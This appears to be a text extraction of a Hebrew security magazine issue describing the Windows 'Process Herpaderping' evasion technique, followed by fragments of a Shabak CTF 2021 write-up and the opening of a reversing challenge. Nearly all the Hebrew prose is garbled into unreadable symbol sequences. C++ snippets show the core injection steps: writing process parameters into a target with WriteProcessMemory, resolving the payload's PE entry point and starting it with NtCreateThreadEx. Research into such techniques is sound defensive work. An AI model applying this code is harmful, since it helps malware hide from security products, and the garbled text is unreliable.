 

 ˢˮ˟ˬˢt9. 

t9.   )tǊƻŎŜǎǎ 9ƴǾƛǊƻƴƳŜƴǘ .ƭƻŎƪ  ˫˞ˢ ˣˬ˩ ,˫˧˧ˣ˯ˬ ˨˧˪ˢ˸ ˪˰ ˰ˡ˧ˬ ˪˧˩ˬ ˶˷˞ ˡ˥ˣ˧ˬ ˢˮ˟ˬ ˞ˣˢ (

  ˢˡ˷ˢ) ˣ˸ˣ˞ ˫˧ˠ˟ˡˬ.ŜƛƴƎ5ŜōǳƎƎŜŘ  ˶ˣ˟˰ ˸ˣ˵ˤˣˮ ˷ˬ˷ˬˣ (!ƴǘƛ-5ŜōǳƎƎƛƴƎˢ ˢ˧˪˞ ˯˧˯˟ˢ ˸˟ˣ˸˩ ,-

[ƻŀŘŜǊ  ˢˡ˷ˢ) ˭ˣ˶˩˧ˤ˟ ˨˧˪ˢ˸ˢ ˸˞ ˭˰˦LƳŀƎŜ.ŀǎŜ!ŘŘǊŜǎǎ  ˫ˢˬ ˡ˥˞ ˶˷˞˩ ,˸ˣˡ˷ ˡˣ˞ˬ ˢ˟˶ˢ ˡˣ˰ˣ ,(

  ˢˡ˷ˢ) ˨˧˪ˢ˸ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˪˧˩ˬtǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ .( 

 ˫ ˧˶˦ˬ˶˲ˢ ˪ˣ˥˸˧˞ 

  ˢ˧˴˵ˮˣ˲ˢ ˸ˬ˧˧˵ ,˸ˣˤˣ˶˥ˬˢ ˸˞ ˪˥˸˞˪ ˧ˡ˩˟ .˫˧˶˦ˬ˶˲ˢ ˸˞ ˪˥˸˞˪ ˢ˴˶ˮ ˸˰˩wǘƭLƴƛǘ¦ƴƛŎƻŘŜ{ǘǊƛƴƎ : 

FORCEINLINE VOID RtlInitUnicodeString (  

    _Out_ PUNICODE_STRING DestinationString ,  

    _In_opt_  PCWSTR SourceString )  

{  

    if  ( SourceString )  

        DestinationString - >MaximumLength = 

  ( DestinationString - >Length  = ( USHORT)( wcslen ( SourceString )  *  

  sizeof ( WCHAR))) + sizeof ( UNICODE_NULL);  

    else  

        DestinationString - >MaximumLength = DestinationString - >Length  = 0;  

 

    DestinationString - >Buffer  = ( PWCH) SourceString ;  

}  

  ˨ˣ˸ˬ ˢ˪ ˞ˣ˶˵˪ ˫ˣ˵ˬ˟ ,˪"ˮˢ ˷ˣˬ˧ˬ˟ ˸ˣ˶˧˷˧ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ,˦ˣ˷˲ ˸˧˯˥˧ ˷ˣˬ˧ˬ ˢ˪ ˷˧˷ ˭ˣˣ˧˩ˬ

ƴǘŘƭƭΦŘƭƭ. 
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 :˫˧ˮ˸˷ˬˢ ˪˩ ˸˞ ˪˥˸˞˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˸˰˩ 

NtdllFunctions :: _NtQueryInformationProcess( GetCurrentProcess (),  

ProcessBasicInformation,   

&current_process_pbi,  

sizeof (current_process_pbi),   

nullptr );  

 

current_process_peb  = * current_process_pbi.PebBaseAddress;  

RtlInitUnicodeString ( &image_path_name,  L" <Image_Full_Path> " );  

RtlInitUnicodeString ( &command_line,  L" \ " <Image_Full_Path> \ " " );  

RtlInitUnicodeString ( &title,  L" You have been herpaderped! " );  

RtlInitUnicodeString ( &desktop_info,  L" WinSta0\ \ Default " );  

 

NtdllFunctions :: _RtlCreateProcessParametersEx( &process_parameters,  

&image_path_name,   

nullptr ,   

nullptr ,   

&command_line,  

current_process_peb.ProcessParameters - >Environment,  

&title,   

&desktop_info,   

nullptr ,   

nullptr ,   

0);  
 

ˢ ˸˞ ˪˟˵˪ ˪˧˟˷˟-t9.    ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞ ,˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˷bǘvǳŜǊȅLƴŦƻǊƳŀǘƛƻƴtǊƻŎŜǎǎ  

  ˨˶˰ˢ ˸˞ ˢ˪ ˫˧ˮ˸ˣˮˣtǊƻŎŜǎǎ.ŀǎƛŎLƴŦƻǊƳŀǘƛƻƴ  ˢˮ˸˷ˬˢ ˸˞ ˪˥˸˞˸˷ ˧ˡ˩ ,ŎǳǊǊŜƴǘψǇǊƻŎŜǎǎψŀōƛ  ,

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˪ˣ˩ˢ ,˨˧˪ˢ˸ˢ ˪˰ ˫˧˧ˣ˯ˬ ˰ˡ˧ˬ ˪˧˩ˬ ˞ˣˢ ˫ˠ˷-t9.    ˢˡ˷ˢ) ˣ˪˷tŜō.ŀǎŜ!ŘŘǊŜǎǎ  .(

 s  ˸˞ ˞ˣ˶˵˪ ˪˧˟˷˟-t9. ˢ˷˰ˮ ˦ˣ˷˲ ,ŘŜǊŜŦŜǊŜƴŎŜ  .ˢˤˢ ˶˦ˮ˧ˣ˲˪ 

˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ˫˴˰˟ ˣˮ˥ˮ˞ ,˸ˣˤˣ˶˥ˬˢ ˪ˣ˥˸˞ ˶˥˞˪  ˢ˧˴wǘƭ/ǊŜŀǘŜtǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ9Ȅ    ˢ˪ ˫˧˶˧˟˰ˬˣ

  ˢ˧˴˵ˮˣ˲˪ ˸˸˪ ˧ˡ˩ˣ ,˨˧˪ˢ˸˪ ˣ˧ˢ˧˷ ˢ˟˧˟˯ˢ ˧ˮ˸˷ˬ ˞ˣˢ ˢ˪˷ ˫˧˶˦ˬ˶˲ˢˬ ˡ˥˞ .ˣ˪˪ˢ ˫˧ˮ˸˷ˬˢ ˪˩ ˸˞

  ˢˡ˷ˢ ˸˶ˤ˰˟ ,˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˷ ˢ˟˧˟˯ˢ ˧ˮ˸˷ˬ ˸˞ ˭˸˧ˮ ,˫˧˵˧˶ ˞˪ˣ ˫˧˧˸˧ˬ˞ ˢ˟˧˟˯ ˧ˮ˸˷ˬ

9ƴǾƛǊƻƴƳŜƴǘ  .˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˪˷ 
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 ˨ ˧˪ˢ˸ˢ ˨ˣ˸ ˪˞ ˫˧˶˦ˬ˶˲ˢ ˸ˬ˷ˢ 

  ˢˡ˷ˢ ,ˣˮ˧˞˶˷ ˧˲˩tǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ    ˢˮ˟ˬˢ ˨ˣ˸˟t9.    .˫˧˩˧˪ˢ˸ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˶ˬˣ˷ ˫˴˰˟

 .ˣˮ˶˴˧ ˰ˠ˶ˢ˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˣ˪ ˸˸˪ ˢ˴˶ˮ ˭˩˪ˣ ,˫˧˶˦ˬ˶˲ ˭˧˞ ˰ˠ˶˩ ˣˮ˪˷ ˨˧˪ˢ˸˪ 

 s  ˣ˸ˣ˞˪ ˸˩˧˧˷ˢ ˸˟ˣ˸˩ ˵˧ˤ˥ˢ˪ ˟˧˧˥ ˞ˣˢ ,˰˧˟˴ˬ ˫˴˰˟ ˞ˣˢ ˢˤˢ ˢˡ˷ˢ˷ ˭ˣˣ˧˩ˬ-±ƛǊǘǳŀƭ aŜƳƻǊȅ 

{ǇŀŎŜ  ˬ ,ˣˮ˪˷ ˫˧˶˦ˬ˶˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˸˸˪ ˪˩ˣˮ ˞˪ .˨˧˪ˢ˸ˢ ˣ˸ˣ˞ ˪˷  ˟˥˶ˬ˟ ˫˧˧˥ ˫ˢ˷ ˭ˣˣ˧˩

  ˪˞ ˟ˣ˸˩˪ ,ˢ˵ˤˣˮˢ ˪˷ ˨˧˪ˢ˸ˢ ˨ˣ˸˟ ˭ˣ˶˩˧ˤ ˸ˣ˴˵ˢ˪ ˢ˴˶ˮ ,˨˩ ˫˷˪ .ˢˮˣ˷ ˨˧˪ˢ˸˟ ,˶ˬˣ˪˩ ,ˢˮˣ˷ ˭ˣ˶˩˧ˤ

  ˢˡ˷ˢ ˸˞ ˭˩ˡ˰˪ ˤ˞ˣ ,˫˧˶˦ˬ˶˲ˢ ˸˞ ˣˮ˴˵˪˧˞˷ ˭ˣ˶˩˧ˤˢ ˨ˣ˸tǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ  ˢ ˨ˣ˸˟ ˞˴ˬˮˢ-t9.  

 .˷ˡ˥ˢ ˭ˣ˶˩˧ˤˢ ˪˷ ˸˟ˣ˸˩˪ ˨˧˪ˢ˸ˢ ˪˷ 

 ˸˞ ˵˶ ˨˶˦˴ˮ ,˫˧˸ˮ˧˧˟˪ˢ ˪˷ ˸˟ˣ˸˩ˢ-t9.  :˨˧˪ˢ˸ˢ ˪˷ 

PROCESS_BASIC_INFORMATION pbi;  

NtdllFunctions :: _NtQueryInformationProcess(process_handle,  

ProcessBasicInformation,  &pbi,  sizeof (pbi),  nullptr );  

   ˢˡ˷ˢ ˸˞ ˭˩ˡ˰˪ ˪˩ˣˮ ,ˢˮ˟ˬˢ ˪˷ ˯˧˯˟ˢ ˸˟ˣ˸˩ ˸˶ˤ˰˟ ,˸˰˩tǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ : 

auto  process_memory = VirtualAllocEx (process_handle,  nullptr ,  

process_parameters - >MaximumLength + process_parameters -

>EnvironmentSize, MEM_COMMIT |  MEM_RESERVE,  PAGE_READWRITE);  

 

proce ss_parameters - >Environment  = reinterpret_cast< PBYTE>( process_memory)  

+ process_parameters - >Length;  

 

WriteProcessMemory (process_handle,  process_memory,  process_parameters,  

process_parameters - >MaximumLength + 

process_parameters - >EnvironmentSize, nullptr );  

 

WriteProcessMemory (process_handle,  reinterpret_cast< PBYTE>(pbi.PebBaseAddre

ss) + offsetof ( PEB64,  ProcessParameters),  &process_memory,  

sizeof (process_memory),  nullptr );  

 ˶ˣ˴˧˪ ˵˶ ˣˮ˪ ˶˞˷ˮ ˸˰˩ ,˫˧˶˦ˬ˶˲ˢ ˫˰ ˣˮˬ˧˧˯¢ƘǊŜŀŘ  !˨˧˪ˢ˸˪ 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ул 
 

ˢ ˧˲ˣ˯ˢ ˟˪˷-  ˸˶˧˴˧¢ƘǊŜŀŘ 

ˢ ˸˞ ˫˧˶˴˧˧ˬ ˣˮ˥ˮ˞ ˣ˟˷ ,˧˲ˣ˯ˢ ˟˪˷˪ ˣˮ˰ˠˢ-¢ƘǊŜŀŘ    ˪˧˥˸˧ ˞ˣˢ˷ ˧ˡ˩ ,ˢ˵ˤˣˮˢ ˪˷ ˨˧˪ˢ˸˟ ˧˸˪˥˸ˢˢ

 ˟  ,˰ˣˡ˧˩ ?˳ˣ˶˪ ˪˧˥˸˧ ˞ˣˢ ˢ˲˧˞ ˨˞ .˳ˣ˶˪-²ƛƴŘƻǿǎˣ ˢ˴˶ˢ ˧˴˟˵˪ ˦ˬ˶ˣ˲ˢ ,-5[[  ˞ˣˢ ˫˧t9   )tƻǊǘŀōƭŜ 

9ȄŜŎǳǘŀōƭŜ  ˫˧˰˦˵ ˢˬ˩ ˢˤ ˫˞ ˭˧˟ ,˳˟ˣ˵ˢ ˪˷ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˵˧ˤ˥ˬ ˦ˬ˶ˣ˲ˢ .(ό{ŜŎǘƛƻƴǎύ    ˣˬ˩ ,ˣ˪ ˷˧

ΦǘŜȄǘ  ,Φōǎǎ  ,ΦŘŀǘŀ  ,ΦǊƻŘŀǘŀˢ ˸˟ˣ˸˩ ,˶ˬˣ˪˩ ,ˢ˯˧ˮ˩ˢ ˸˟ˣ˸˩ ˸˞ˤ ˫˞ ˭˧˟ˣ ,ˡˣ˰ˣ ,-9ƴǘǊȅ Ǉƻƛƴǘ  ˢ˸ˣ˞˷ ,

 s  ˸˶˧˴˧ ˪˧˟˷˟ ˫˧˩˧˶˴ ˣˮ˥ˮ˞-¢ƘǊŜŀŘ˪ˣ˩ ˸˞ ˪˧˩˸ ˞˪ ˢˬ˧˷˶ˢ) ˫˧˵˪˥ ˢˬ˩˪ ˵˪˥˸ˬ ˦ˬ˶ˣ˲ˢ .  ˭˰ˬ˪ ˫

 :(˸ˣ˦˷˲ˢ 

¶ MS-DOS Headers  π    ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˢ˲ˣ˵˸ˢˬ ˡˣ˰ ˥˵˪ˮ˷ ˵˪˥MS-DOS    ˪˧˩ˬˢ ,˧ˣˮ˧˷ ˞˪˪

  ˭˧˧ˡ˰ ˣ˪˩ˣ˧ ˸ˣˮ˷˧ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˷ ˪˪ˠ˟ ˞˧ˢ ,˪˪˩ ˢˮ˸˷ˢ ˞˪ ˞ˣˢ˷ ˢ˟˧˯ˢ .˳˟ˣ˵ˢ ˪˰ ˫˧˧ˣ˯ˬ ˰ˡ˧ˬ

 .˫˧˞˸ˬ ˞˪ ˳˟ˣ˵ ˢˤ˷ ˸ˣˢˤ˪ˣ ˣˢ˷˪˩ ˵˪˥ ˭ˣ˰˦˪ 

¶ MS-DOS Stub  π    ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˳˶ˣˢ ˳˟ˣ˵ˢˣ ˢˡ˧ˬ˟MS-DOS    ˟˴ˬ˟Real Mode  ˡˣ˵ ˳˧˶˧ ˞ˣˢ ,

ˢ ˸˞ ˯˧˲ˡˬˢ ,ˢˤ ˵˪˥˟ ˶ˬ˷ˮˢ ˢ˰ˡˣˢάThis program cannot be run in DOS modeέ . 

¶ PE Signature  π    ˢˬ˧˸˥ˢ .˫˧˸˟ ˢ˰˟˶˞ ˪ˡˣˠ˟ ˦ˬ˶ˣ˲ˢ ˪˷ (˫˯˵ˢ ˶˲˯ˬ) ˢˬ˧˸˥ˢ ˸˞ ˪˧˩ˬˢ ˰˦˵

 :˞˧ˢάPE\0\0έ . 

¶ File Header  π    ˣˬ˩ ˸ˣˡ˷ ˪˧˩ˬˢ ˵˪˥Machine    ˡ˰ˣˮ ˞ˣˢ ˢ˟ ˳˟ˣ˵ˢ ˪˷ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˸˞ ˶˞˸ˬˢ

  ˣˬ˩ˣ ,˳ˣ˶˪PointerToSymbolTable  s  ˸˪˟˦ ˪˰ ˰˧˟˴ˬˢ-Symbols . 

¶ Optional Header  π    ˳˟ˣ˵ ˧˟ˠ˪ ˧˸ˣ˰ˬ˷ˬˢ ˰ˡ˧ˬˢ ˟ˣ˶ ˸˞ ˪˧˩ˬ ˞ˣˢ .˧˪ˮˣ˧˴˲ˣ˞ ˸ˬ˞˟ ˞˪ ˞ˣˢ˷ ˵˪˥

  ˸˩˶˰ˬ ˸˞˯˶ˠ ,˸˧ˮ˯˥ˬˢ ˶ˣ˟˰ ˧˸˪˥˸ˢ ˪ˡˣˠ ,˸˲ˡ˰ˣˬ ˯˧˯˟ ˸˟ˣ˸˩ ˪˷ˬ˪ ,ˢ˴˶ˢˢ  ,ˢ˪˰˲ˢˢ

ˢ ˪˷ ˸˟ˣ˸˩ˢˣ-Entry Point . 

 ˫˧˪˩ˢ ˪˰ ˳˧˪ˬˬ ˧ˮ˞/CC 9ȄǇƭƻǊŜǊ  x-t9 .ŜŀǊ   ˧˴˟˵ ˥ˣ˸˧ˮ ˪˧˟˷˟t9 . 

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˠ˧˷ˢ˪ ˪˩ˣˮ ,˟˪ ˫˸ˬ˷ ˥˦˟˷ ˧˲˩-Entry Point  ˢ ˶ˣ˟˰-Thread   s  ˸˶ˤ˰˟-Optional 

Header   s  ˪˞ ˸˷ˠ˪ .˳˟ˣ˵ˢ ˪˷-DOS Header  ˢ ˪˞ ˸˷ˠ˪ ˪˧˟˷˟ ˨˞ ,˪˪˩ ˢ˧˰˟ ˢˮ˧˞-Optinal Header  ,

  ˢˡ˷ˢ ˸˞ ˨˶˦˴ˮe_lfanew  ˢ ˨ˣ˸ˬ-DOS Header  ˢ ˸˞ ˵˧ˤ˥ˬ ˶˷˞-offset    ˸˪˧˥˸ˬ ˪˥ˢ ˶ˡˢˢ ˪˷

 :˳˟ˣ˵ˢ 

const  PIMAGE_DOS_HEADER payload_dos_header  = 

reinterpret_cast< PIMAGE_DOS_HEADER>όpayload_bytes. get ());  

const  PIMAGE_NT_HEADERS64 payload_nt_headers  = 

reinterpret_cast< PIMAGE_NT_HEADERS64>(payload_bytes. get ()  + 

payloadDOSHeader- >e_lfanew);  
 

 ˨ˣ˸˟payload_nt_headers ˢ ˸˞ ,ˢˬ˧˸˥ˢ ˸˞ ˷˧-File Headerˢ ˸˞ˣ ,-Optinal Header . 

˪ ˢ˷˧ˠ ˣˮ˪ ˷˧˷ ˣ˧˷˩˰-Optional Header  ˢ ˸˟ˣ˸˩ ˸˞ ˠ˧˷ˢ˪ ˢ˴˶ˮ ,˳˟ˣ˵ˢ ˪˷-Entry Point  ˶˟˥˪ˣ ,

  .˨˧˪ˢ˸ˢ ˪˷ ˯˧˯˟ˢ ˸˟ˣ˸˩ ˫˰ ˡ˥˧ ˢ˸ˣ˞ 
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ˢ ˸˞ ˞ˣ˶˵˪ ˨˶˦˴ˮ ,ˣ˪˷ ˯˧˯˟ˢ ˸˟ˣ˸˩ ˧ˢˬ ˸˰ˡ˪ ˧ˡ˩-PEB  :ˣ˪˷ 

PEB64 process_peb;  

:: ReadProcessMemory(process_handle,  pbi.PebBaseAddress,  &process_peb,  

sizeof (process_peb),  nullptr );  

 

 s  ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˟˷˥˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣ˧˷˩˰-Entry Point : 

ULONGLONG entry_point  = payload_nt_headers - >OptionalHeader.AddressOfEntryPoint  

+ process_peb.ImageBaseAddress;  

 

 ˸˲˴˵˟˷ ˭˟ˡ˟ˣˡ˪ˣπ  ˶ˣ˴˧ˮThread  s  ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˣ˧˪˞ ˶˧˟˰ˮˣ ,˨˧˪ˢ˸˟-Entry Point : 

NtdllFunctions :: _NtCreateThreadEx( &thread_handle,  THREAD_ALL_ACCESS,  nullptr ,  

process_handle,  reinterpret_cast< PVOID>(entry_point),  nullptr ,  0,  0,  0,  

0,  nullptr );  

 

˧˦ˮ˞ˢ ˸ˣˮ˩ˣ˸ ,ˢˤ ˰ˠ˶˟ ˵ˣ˧ˡ˟-  ˸˞ ˣ˵˶˯˧ ˭ˢ .ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˧˟ˠ˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˢ˞˶˸ˢ ˣ˪˟˵˧ ˯ˣ˶˧ˣ

 ˸˞ ˸ˣ˵˶ˣ˯ ˫˴˰˟ ˭ˢ˷ ˣ˪ˠ˧ ˫˴˰˟ˣ ,ˣ˪˷ ˳˟ˣ˵ˢGoogle Chrome ! 

 

 ˸ ˣ˞˴ˣ˸ˢ 

˟ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟-tǊƻŎŜǎǎ IŀŎƪŜǊ : 

 

  ˸˞ ˣˮ˲˧˧ˤ ˫ˠ ,˳˟ˣ˵ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˣˮ˲˧˧ˤ˷ ˵˶ ˞˪  ˭˸ˣˮ ˸˧˪˦˧ˠ˧ˡ ˢˬ˧˸˥ ˫˰ ˳˟ˣ˵ !˸˧˪˦˧ˠ˧ˡˢ ˢˬ˧˸˥ˢ

 ˧ ˦ˮ˞ ˶ˣ˟˰ ˫ˠ ,˧˵ˮˣ ˧ˬ˧˦˧ˠ˪ ˞ˣˢ˷ ˢ˷ˣ˥˸- .ˣˮ˪˴˞ ˟˴ˬˢ ˞˪ ˣˢˤ ˨˞ ,˫˧˪˧ˠ˶ ˫˧˷ˬ˸˷ˬ ˶ˣ˟˰ ˫ˠˣ ˫˧˯ˣ˶˧ˣ 

 :ˣ˪ ˣˮ˶˟˰ˢ˷ ˫˧˶˦ˬ˶˲ˢ ˪˰ ˫ˠ ˪˩˸˯ˮ ˣ˞ˣ˟ 
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 :ˣˮ˪˷ ˢ˵ˤˣˮˢ ˸˴˶ˢ ˭˟ˣˬ˩ˣ 

 

 ˫ ˣ˩˧˯ 

  ˡ˴˧˩ ˣˮ˧˞˶ ,˶ˬ˞ˬˢ ˨˪ˢˬ˟˧˦ˮ˞- ˪  ˸ˣ˞˧˶˵ ˡ˴˧˩ ,˫˧ˡ˟ˣ˰ ˫˧˯ˣ˶˧ˣ-ƴǘŘƭƭΦŘƭƭ    ,˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ ˸ˣˡ˟ˣ˰

  ˢ˧˴˵ˮˣ˲ˢ ˢ˟ ˨˶ˡˢ ˪˰ ˣˮ˶˟˧ˡˣtǎ{Ŝǘ/ǊŜŀǘŜtǊƻŎŜǎǎbƻǘƛŦȅwƻǳǘƛƴŜ9Ȅ  ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵-ŎŀƭƭōŀŎƪ  

  ˢ˦˧˷ˢ ˢ˸ˣ˞˷ ,ˢ˪˷ ˢˬ˧˷˶˟˷tǊƻŎŜǎǎ IŜǊǇŀŘŜǊǇƛƴƎ    ˦˪ˣ˟ˢ ˭ˣ˶˯˧˥ˢ ˸˞ ˷˧ ˢ˦˧˷˪ ˫˪ˣ˞ .˸˪˴ˮˬ

ˮ ˫˧˧ˮˣˡˤ ˫˧˦˧˟˷  ˪˰ ˡˣ˟˰˪ˣ ˸ˣ˧˪˦˧ˠ˧ˡ ˸ˣˬ˧˸˥ ˱˧˧ˤ˪ ˣ˪˧˲˞ ˢ˪ˣ˩˧ˣ ˷˞˶˟ ˸ˮ˸ˣˮ ˭˧˧ˡ˰ ˞˧ˢ ,˵˯˧ˡ˟ ˫˧˰ˠˣ

˧˦ˮ˞ˢ-  ˫˧˥˸ˣ˲˷ ,˫˧˰˴ˣˬˬˢ ˫˧˷ˬ˸˷ˬˢ ˪˰ˣ ˫˧˯ˣ˶˧ˣ¢ŀǎƪ aŀƴŀƎŜǊ    ˫˷ ˫˰ ˫˧˩˧˪ˢ˸ ˶˥˞ ˫˧˟˵ˣ˰ˣ

  ˪˷ ˫˧˟˶ ˢ˥˦˟˞ ˧˶˴ˣˬ ˧˩ ˭˰ˣ˦ ˢ˦˧˷ˢ ˶˴ˣ˧ .ˡˣ˷˥aƛŎǊƻǎƻŦǘ    ˶˷˞˩ ˢ˦˧˷ˢ ˸˞ ˸ˣˢˤ˪ ˪˪˩ ˣ˥˧˪˴ˢ ˞˪

˞ˣˢ  .ˢ˰ˣˡ˧ ˢ˵ˤˣˮ˟ ˷ˬ˸˷ˢ 

 

 ˫ ˧˶ˣ˷˧˵ 

¶ https:// jxy-s.github.io/herpaderping/  

¶ https:// www.crowdstrike.com/blog/herpaderping-security-risk-or-unintended-behavior/  

¶ https:// habr.com/en/post/485788/   

¶ https:// www.vergiliusproject.com/ 

¶ https:// doxygen.reactos.org/   
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 ˧˶ˠ˸˞ ˭ˣ˶˸˲w9 x-t²b  ˩"˟˷ˢнлнм 

˸˞ˬ  ˧ ˶ˤ˰˪˞ ˭ˡ 

 

 s ˬˡ˵ˢ 

-˟млΦлмΦнлнм  ˶ ˧ˣˣ˞˪  ˢ˪˰ CTF  .˩"˟˷ˢ  ˪˷  ˧˸ˮ˷ˢ  ˯ˣ˧ˠˢ s-CTF   ˸ˣ˧˶ˣˠ˦˵  ˭ˣˣˠˬ˟  ˫˧˶ˠ˸˞  ˪˧˩ˢ

),Pwn Reversing , Web, AI, Signal Processing, Data Scienceˢ ˭ˬˤ˟ˣ ,(-CTF   ˪˩ ˸˞ ˶ˣ˸˲˪ ˧˸˥˪˴ˢ

ˢ ˧˶ˠ˸˞-Pwn, Reversing x-Web  ˢ˩ˤˬ ˶ˠ˸˞ ˪˩ ˭ˣ˶˸˲ .˟ ˪ ˠˡ   ˰  ˶˸˞˪ ˯˧ˮ˩ˢ˪ ˭˸˧ˮ˷  ˥˧˩ˣˢ˪ ˸ˮˬ ˪

 s ˥˪˴ˢ˟ ˶˸˲ˮ ˶ˠ˸˞ˢ˷ . 

 ˫ ˷˟ ˦˲˯ˮˣ˵˟ ˷ˬ˸˷ˢ˪ ˟ˢˣ˞ ˧ˮ˞ ,˫˧˶ˠ˸˞ˢ ˭ˣ˶˸˲ ˨˪ˢˬ˟ Sources and Sinks  .(˸ˣ˶ˣ˟ˣ ˸ˣ˶ˣ˵ˬ) 

) ˣ˸ˣ˰˴ˬ˞˟ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˢˬˣ ˣˮ˪˷ ˦˪˵ˢ ˢ˲˧˞ ˭˧˟ˢ˪ ˞ˣˢ ,ˢˤ ˦˲˯ˮˣ˵ ˪˷ ˭ˣ˶˵˰ˢSources ,( 

) ˢ˶˦ˬ˪ ˰˧ˠˢ˪ ˣˮ˪ ˶ˣˤ˰˪ ˢ˧ˣ˷˰ ˞˧ˢ ˨˧˞ˣ ,˸ˣ˷˰˪ ˸˪ˠˣ˯ˬ ˢˬ˴˰ ˸˧ˮ˩˸ˢ ˢˬ ˪˷ ˷ˣ˲˧˥˪ ˱˯ˣˮ˟Sinks .( 

  ˣ˟ ˷ˬ˸˷ˬ ˧ˬ˴˰ ˸˞ ˞˴ˣˬ ˧ˮ˞˷ ˱˯ˣˮ ˦˲˯ˮˣ˵˞˶˵ˮ ˭ˬˤˢ ˪˩  Attack Surface  .(ˢ˲˧˵˸ ˥˦˷ˬ)    ˭ˣ˶˵˰ˢ

  ˡ˧ˠˮ ˢˤ ˢ˶˵ˬ˟) ˸˩˟ˣ˯ˬ ˣ˞ ˢ˪ˣˡˠ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸˷ˬˬˬ ˸˧ˮ˩˸ˢ ˭˩˧ˢ ˭˧˟ˢ˪ ˞ˣˢ ,ˢˤ ˦˲˯ˮˣ˵ ˪˷

˟ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˸˧ˮ˩˸˟ ˣ˪˞ˢ ˫˧˵˪˥˟ ˡ˵ˬ˸ˢ˪ˣ ,(˟˥˶ ˢ˲˧˵˸ˢ ˥˦˷ˬ˷  ˞ˣˢ ˨˩˟ ˭ˣ˧ˠˢˢ .˸ˣ˷˪ˣ˥ ˫ˢ

 .ˢ˦ˣ˷˲ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˶˷˞ˬ ,˸˩˟ˣ˯ˬ ˣ˞ ˢ˪ˣˡˠ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˷ˣˬ˧ˬ˟ ˢˠ˷˧ ˸ˮ˩˸ˬ˷ ˶˸ˣ˧ ˶˧˟˯˷ 

 ˷ˣˬ˧˷˫˧˦˲˯ˮˣ˵˟   .˶˸ˣ˧ ˶ˢˬ ˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ˣ ˶ˠ˸˞ˢ ˪˷ ˫˧˦ˮˣˣ˪˶ˢ ˫˧˵˪˥˟ ˡ˵ˬ˸ˢ˪ ˶˷˲˞ˬ ,ˢ˪˞ 

˪˷ ˸ˣˮˣ˶˸˲ˢ ˸˞ ˫˧˪˷˞ ˢˤ ˶ˬ˞ˬ˟ ˢ ˧˶ˠ˸˞˪ ˪˦ˮ˵ˮ˶˲ ˣˡ˧˰-Web   ˧˶ˠ˸˞˪ ˧˪˷ ˸ˣˮˣ˶˸˲ˢ ˸ˣ˰˴ˬ˞˟

-sReversing sx-Pwn  ˭ˬˤ˟ ˢ˧˲˪ ˧˸ˡ˟˰˷ ˢ˧ˠˣ˪ˣˡˣ˸ˬˢˣ ˧˪ ˢ˸˧˧ˢ˷ ˢ˟˧˷˥ˢ ˸˶ˣ˴ ˸˞ ˶˧˟˰ˢ˪ ˪ˡ˸˷˞ ,

 .˫˧˶ˠ˸˞ˢ ˭ˣ˶˸˲ 

 ˷˧ ,˫ˬ˴˰˟ ˫˧˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˸ˣ˯ˮ˪ ˫˧ˮ˧˧ˮˣ˰ˬˢ ˣ˪˞ ˶ˣ˟˰ ˭ ˞˩  .˫˧˶ˠ˸˞ˢ ˪˷ ˫˧˴˟˵ˢ ˸˞ 
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https://en.wikipedia.org/wiki/Attack_surface
https://www.digitalwhisper.co.il/files/Zines/0x7E/DW126-2-ShabakCTF_2021-Web.pdf
https://www.digitalwhisper.co.il/files/Zines/0x7E/DW126-2-ShabakCTF_2021-Web.pdf
https://archive.org/details/shabak-challenge-2021
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ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  уп 
 

wŜǾŜǊǎƛƴƎ 

:˫˷ CƻǊŎŜ/ƻƛƴ 

:ˡˣ˵˧ˮ мрл 

 

˭ˣ˶˸˲: 

 :˫˧˴˟˵ ˢ˷ˣ˪˷ ˫˧˪˟˵ˬ ˣˮ˞ ˢˤ ˶ˠ˸˞˟ 

